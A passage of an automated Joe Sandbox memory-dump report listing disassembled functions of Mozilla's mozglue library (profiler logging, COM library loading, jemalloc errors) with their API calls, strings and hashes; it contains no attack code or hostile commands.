ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C32D279
free.MOZGLUE(?), ref: 6C32D2B2

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$freemoz_malloc_usable_size
String ID:
API String ID: 3049780610-0
Opcode ID: bd5f1fbfebecd742ce866921dc0d67647db21a0428c112fd82e4fb0d7aa65ea2
Instruction ID: f79baa9e771c2b37600588c9927a1652a5262ae7ffa2514509ec0d1ceff854f0
Opcode Fuzzy Hash: bd5f1fbfebecd742ce866921dc0d67647db21a0428c112fd82e4fb0d7aa65ea2
Instruction Fuzzy Hash: 69219171704305DFCB05DF25C488A9EB7B5FF8A328F50452DE5568B340DB35A809CB96

Function 6C31F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C30CBE8: GetCurrentProcess.KERNEL32(?,6C2D31A7), ref: 6C30CBF1
Part of subcall function 6C30CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C2D31A7), ref: 6C30CBFA

Part of subcall function 6C319420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C2E4A68), ref: 6C31945E
Part of subcall function 6C319420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C319470
Part of subcall function 6C319420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C319482
Part of subcall function 6C319420: __Init_thread_footer.LIBCMT ref: 6C31949F

GetCurrentThreadId.KERNEL32 ref: 6C31F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C31F598), ref: 6C31F621

Part of subcall function 6C3194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C3194EE
Part of subcall function 6C3194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C319508

GetCurrentThreadId.KERNEL32 ref: 6C31F637
AcquireSRWLockExclusive.KERNEL32(6C35F4B8,?,?,00000000,?,6C31F598), ref: 6C31F645
ReleaseSRWLockExclusive.KERNEL32(6C35F4B8,?,?,00000000,?,6C31F598), ref: 6C31F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C31F62A

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 9f85925b879abf128f9eb15c9bf0f4c1d88b03a7f423129fd6b8a742f1e6021f
Instruction ID: 8e0d3325db4265a15843b9177b36109b2280627d575989daad20acf9d3cbd34c
Opcode Fuzzy Hash: 9f85925b879abf128f9eb15c9bf0f4c1d88b03a7f423129fd6b8a742f1e6021f
Instruction Fuzzy Hash: AD110675304204AFCB08AF19D948DE577BDFF8A36CB910015EA4587F01CB32A821CFA1

Function 6C2E2070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C30AB89: EnterCriticalSection.KERNEL32(6C35E370,?,?,?,6C2D34DE,6C35F6CC,?,?,?,?,?,?,?,6C2D3284), ref: 6C30AB94
Part of subcall function 6C30AB89: LeaveCriticalSection.KERNEL32(6C35E370,?,6C2D34DE,6C35F6CC,?,?,?,?,?,?,?,6C2D3284,?,?,6C2F56F6), ref: 6C30ABD1

LoadLibraryW.KERNEL32(combase.dll,6C2E1C5F), ref: 6C2E20AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C2E20CD
__Init_thread_footer.LIBCMT ref: 6C2E20E1
FreeLibrary.KERNEL32 ref: 6C2E2124

Strings

CoInitializeSecurity, xrefs: 6C2E20C7
combase.dll, xrefs: 6C2E20A9

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: 027de58a84cdf433899e65451ccf29da0b7c40dd3274c63b940e69dbb238d159
Instruction ID: 97631766f1c84dcb9e576b4de5c2849d96fa0d86abb951de5e4549fafc3e923e
Opcode Fuzzy Hash: 027de58a84cdf433899e65451ccf29da0b7c40dd3274c63b940e69dbb238d159
Instruction Fuzzy Hash: 01218E7620020AEFDF11DF59DC48D9A3B7AFB0E369F904414FE05A6690D7319861CFA1

Function 6C3376C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C3376F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C337705

Part of subcall function 6C2ECA10: malloc.MOZGLUE(?), ref: 6C2ECA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C337717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C33778F,00000000,00000000,00000000,00000000), ref: 6C337731
free.MOZGLUE(00000000), ref: 6C337760

Strings

}>1l, xrefs: 6C3376C4

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>1l
API String ID: 2538299546-347948294
Opcode ID: 1ea027d79eda25f512258f4007e7914a9759b1f29ca5ab880151cd559d4789c7
Instruction ID: 46780e6d866cdb750ace948828babeb3074a327a7e9f7d1aa0d1a19de73e678a
Opcode Fuzzy Hash: 1ea027d79eda25f512258f4007e7914a9759b1f29ca5ab880151cd559d4789c7
Instruction Fuzzy Hash: 3D11B6B1904365ABE710AF759D44B7BBEECEF46358F044429F888A7300E77188448BE2

Function 6C3199A0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C319420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C2E4A68), ref: 6C31945E
Part of subcall function 6C319420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C319470
Part of subcall function 6C319420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C319482
Part of subcall function 6C319420: __Init_thread_footer.LIBCMT ref: 6C31949F

GetCurrentThreadId.KERNEL32 ref: 6C3199C1
AcquireSRWLockExclusive.KERNEL32(6C35F4B8), ref: 6C3199CE
ReleaseSRWLockExclusive.KERNEL32(6C35F4B8), ref: 6C3199F8
GetCurrentThreadId.KERNEL32 ref: 6C319A05
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C319A0D

Part of subcall function 6C319A60: GetCurrentThreadId.KERNEL32 ref: 6C319A95
Part of subcall function 6C319A60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C319A9D
Part of subcall function 6C319A60: ?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6C319ACC
Part of subcall function 6C319A60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C319BA7
Part of subcall function 6C319A60: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6C319BB8
Part of subcall function 6C319A60: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6C319BC9

Part of subcall function 6C30CBE8: GetCurrentProcess.KERNEL32(?,6C2D31A7), ref: 6C30CBF1
Part of subcall function 6C30CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C2D31A7), ref: 6C30CBFA

Strings

[I %d/%d] profiler_stream_json_for_this_process, xrefs: 6C319A15

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: Current$ThreadTimegetenv$ExclusiveLockProcessStampV01@@Value@mozilla@@_getpid$?profiler_time@baseprofiler@mozilla@@AcquireInit_thread_footerNow@ReleaseStamp@mozilla@@TerminateV12@_
String ID: [I %d/%d] profiler_stream_json_for_this_process
API String ID: 2359002670-141131661
Opcode ID: d4771be90e27417b4f71e4ad098e5c4156eb44f7d11f0b1483e940ea17a9bfa2
Instruction ID: e8c5327d1e438266d59ba5cde4ad7c49b2bb08a3069ba0931ff8552418e6c40b
Opcode Fuzzy Hash: d4771be90e27417b4f71e4ad098e5c4156eb44f7d11f0b1483e940ea17a9bfa2
Instruction Fuzzy Hash: F401D6B67083249FDB046F25A808BBA3BBCEF4A25CF8A4016ED4597F41C7354814CEB2

Function 6C2E1FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C30AB89: EnterCriticalSection.KERNEL32(6C35E370,?,?,?,6C2D34DE,6C35F6CC,?,?,?,?,?,?,?,6C2D3284), ref: 6C30AB94
Part of subcall function 6C30AB89: LeaveCriticalSection.KERNEL32(6C35E370,?,6C2D34DE,6C35F6CC,?,?,?,?,?,?,?,6C2D3284,?,?,6C2F56F6), ref: 6C30ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C2E1FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C2E1FFD
__Init_thread_footer.LIBCMT ref: 6C2E2011
FreeLibrary.KERNEL32 ref: 6C2E2059

Strings

combase.dll, xrefs: 6C2E1FD9
CoCreateInstance, xrefs: 6C2E1FF7

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 2d81936bd7d7f81a66986eae278586a3e13b137bbd882d2c29ccf2d6db1188f9
Instruction ID: 389b6dfe74862086fd25f3559dfc151cdf50b3edad01b27ac24cbcd49d33fddc
Opcode Fuzzy Hash: 2d81936bd7d7f81a66986eae278586a3e13b137bbd882d2c29ccf2d6db1188f9
Instruction Fuzzy Hash: B8113DB530160AAFDF109F56D84CE563B7DEB4E359F804415FD0696680DB319810CF61

Function 6C2E0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C30AB89: EnterCriticalSection.KERNEL32(6C35E370,?,?,?,6C2D34DE,6C35F6CC,?,?,?,?,?,?,?,6C2D3284), ref: 6C30AB94
Part of subcall function 6C30AB89: LeaveCriticalSection.KERNEL32(6C35E370,?,6C2D34DE,6C35F6CC,?,?,?,?,?,?,?,6C2D3284,?,?,6C2F56F6), ref: 6C30ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C30D9F0,00000000), ref: 6C2E0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C2E0F3C
__Init_thread_footer.LIBCMT ref: 6C2E0F50
FreeLibrary.KERNEL32(?,6C30D9F0,00000000), ref: 6C2E0F86

Strings

combase.dll, xrefs: 6C2E0F18
CoInitializeEx, xrefs: 6C2E0F36

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: ab594bc35f75c5ca36901961809d387ba8a5eb975c7075f0c0f991f2da4f6310
Instruction ID: 785e462474fe6d6f799ad6b9bf7a4cf89c755ed9922a218e67dad6935c813f96
Opcode Fuzzy Hash: ab594bc35f75c5ca36901961809d387ba8a5eb975c7075f0c0f991f2da4f6310
Instruction Fuzzy Hash: 9611AC757052459BDF00CF68D908E5A37BCFB4E326FC44A29ED06A2644DF34E412CE66

Function 6C31F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C319420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C2E4A68), ref: 6C31945E
Part of subcall function 6C319420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C319470
Part of subcall function 6C319420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C319482
Part of subcall function 6C319420: __Init_thread_footer.LIBCMT ref: 6C31949F

GetCurrentThreadId.KERNEL32 ref: 6C31F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C31F561

Part of subcall function 6C3194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C3194EE
Part of subcall function 6C3194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C319508

GetCurrentThreadId.KERNEL32 ref: 6C31F577
AcquireSRWLockExclusive.KERNEL32(6C35F4B8), ref: 6C31F585
ReleaseSRWLockExclusive.KERNEL32(6C35F4B8), ref: 6C31F5A3

Strings

[I %d/%d] profiler_pause_sampling, xrefs: 6C31F3A8
[I %d/%d] profiler_resume_sampling, xrefs: 6C31F499
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C31F56A
[I %d/%d] profiler_resume, xrefs: 6C31F239

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: f4fe4fc6e1b1fba9da4f6f87d9b3df30a8ae4f17269ffab764a05c515bf1622b
Instruction ID: 4f11997a5204d6d0caa79f9d157bc17afdf8c3b160b1787a7ba27b7105e57209
Opcode Fuzzy Hash: f4fe4fc6e1b1fba9da4f6f87d9b3df30a8ae4f17269ffab764a05c515bf1622b
Instruction Fuzzy Hash: 31F0B4B53002009FDA00AF65A84896A77BDEB8A29DF850011EA05CBB01CB3648008B61

Function 6C31F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C319420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C2E4A68), ref: 6C31945E
Part of subcall function 6C319420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C319470
Part of subcall function 6C319420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C319482
Part of subcall function 6C319420: __Init_thread_footer.LIBCMT ref: 6C31949F

GetCurrentThreadId.KERNEL32 ref: 6C31F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C31F598), ref: 6C31F621

Part of subcall function 6C3194D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C3194EE
Part of subcall function 6C3194D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C319508

GetCurrentThreadId.KERNEL32 ref: 6C31F637
AcquireSRWLockExclusive.KERNEL32(6C35F4B8,?,?,00000000,?,6C31F598), ref: 6C31F645
ReleaseSRWLockExclusive.KERNEL32(6C35F4B8,?,?,00000000,?,6C31F598), ref: 6C31F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C31F62A

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 3171cc88e3a45799232aef9e929a324d8e0cb95224ed0c4fb2bd9e32481f55c2
Instruction ID: 5526b5428830e53b652b4aa759d7554780e5d3f2f1a512c222f345d4eab4e264
Opcode Fuzzy Hash: 3171cc88e3a45799232aef9e929a324d8e0cb95224ed0c4fb2bd9e32481f55c2
Instruction Fuzzy Hash: C4F05EB5304204AFDA006F65A848A6A7BBDEB8A2ADF850015EA459BB41CB7648058B66

Function 6C2E0E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C2E0DF8), ref: 6C2E0E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C2E0EA1
__Init_thread_footer.LIBCMT ref: 6C2E0EB5
FreeLibrary.KERNEL32 ref: 6C2E0EC5

Strings

kernel32.dll, xrefs: 6C2E0E7D
GetProcessMitigationPolicy, xrefs: 6C2E0E9B

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: bc33547ca56d8ad187302cbf3b070537ba86515d2e9a9d1819ef28265548af0e
Instruction ID: b92ad4dba5695a3b7351803c5a4cb0caf7150941a5625847609c1b33d7249897
Opcode Fuzzy Hash: bc33547ca56d8ad187302cbf3b070537ba86515d2e9a9d1819ef28265548af0e
Instruction Fuzzy Hash: 6A012471B00286CFDA108FE8E814A6237B9E70E399F980525ED01A6B40DB78A4159E12

Function 6C3105F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C30CFAE,?,?,?,6C2D31A7), ref: 6C3105FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C30CFAE,?,?,?,6C2D31A7), ref: 6C310616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C2D31A7), ref: 6C31061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C2D31A7), ref: 6C310627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C31061B, 6C310625
<jemalloc>, xrefs: 6C3105FA, 6C31060F

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: f83c9565adec0d522505a6d70be771002b077565fee393f044c4fdafca0d7d8a
Instruction ID: ec389ca718e58b148dd17a35cf0b9292830dbe91978d574af07549025ddbe7ff
Opcode Fuzzy Hash: f83c9565adec0d522505a6d70be771002b077565fee393f044c4fdafca0d7d8a
Instruction Fuzzy Hash: 41E08CE2A0101037F5142256BC86DBB765DDBC6138F080039FD0D82301E94EAD1E95F7

Function 6C329240 Relevance: 9.3, APIs: 6, Instructions: 289timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C329BAE
free.MOZGLUE(?,?), ref: 6C329BC3
free.MOZGLUE(?,?), ref: 6C329BD9

Part of subcall function 6C3293B0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C3294C8
Part of subcall function 6C3293B0: free.MOZGLUE(6C329281,?), ref: 6C3294DD

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: a448f8ddc3ce934902266eb5861bb0f4349790136e69f21db451e239f7fb2fb9
Instruction ID: 92d6e39c9a656d70fb579c52e276049d70d04f7268fb8cabed641f859a319f59
Opcode Fuzzy Hash: a448f8ddc3ce934902266eb5861bb0f4349790136e69f21db451e239f7fb2fb9
Instruction Fuzzy Hash: 59B19E71A047198BCB01CF58C88059EF7F5BFC9328B548629E899AB740DB35E946CFD2

Function 6C2E05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401013873.000000006C34D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401052684.000000006C35E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2401073870.000000006C362000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2d0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3a9644795586ee3c4e049a3ecbd196e3ef0d1c6eff14bf07db0f2510ec8d07eb
Instruction ID: 188cf6c0370eb5620b4add3a6f22d04ec56bf3d6aeea848cf0bab21ae5dc354e
Opcode Fuzzy Hash: 3a9644795586ee3c4e049a3ecbd196e3ef0d1c6eff14bf07db0f2510ec8d07eb
Instruction Fuzzy Hash: BDA13970A006498FDB14CF29C594B99FBF5BF4D304F94866ED88AA7B00EB70A955CF90

Function 6C3171A0 Relevance: 9.2, APIs: 2, Strings: 4, Instructions: 212COMMON

Download Yara Rule

APIs

Part of subcall function 6C316060: moz_xmalloc.MOZGLUE(00000024,98C56DC3,00000000,?,00000000,?,?,6C315FCB,6C3179A3), ref: 6C316078

free.MOZGLUE(-00000001), ref: 6C3172F6
free.MOZGLUE(?), ref: 6C317311

Strings

333s, xrefs: 6C317226
Spliced unique strings, xrefs: 6C317340
333s, xrefs: 6C31731B
Copied unique strings, xrefs: 6C317320

Memory Dump Source

Source File: 00000002.00000002.2400838081.000000006C2D1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C2D0000, based on PE: true

Associated: 00000002.00000002.2400823604.000000006C2D0000.00000002.00000001.01000000.00000009.sdmpDownload File
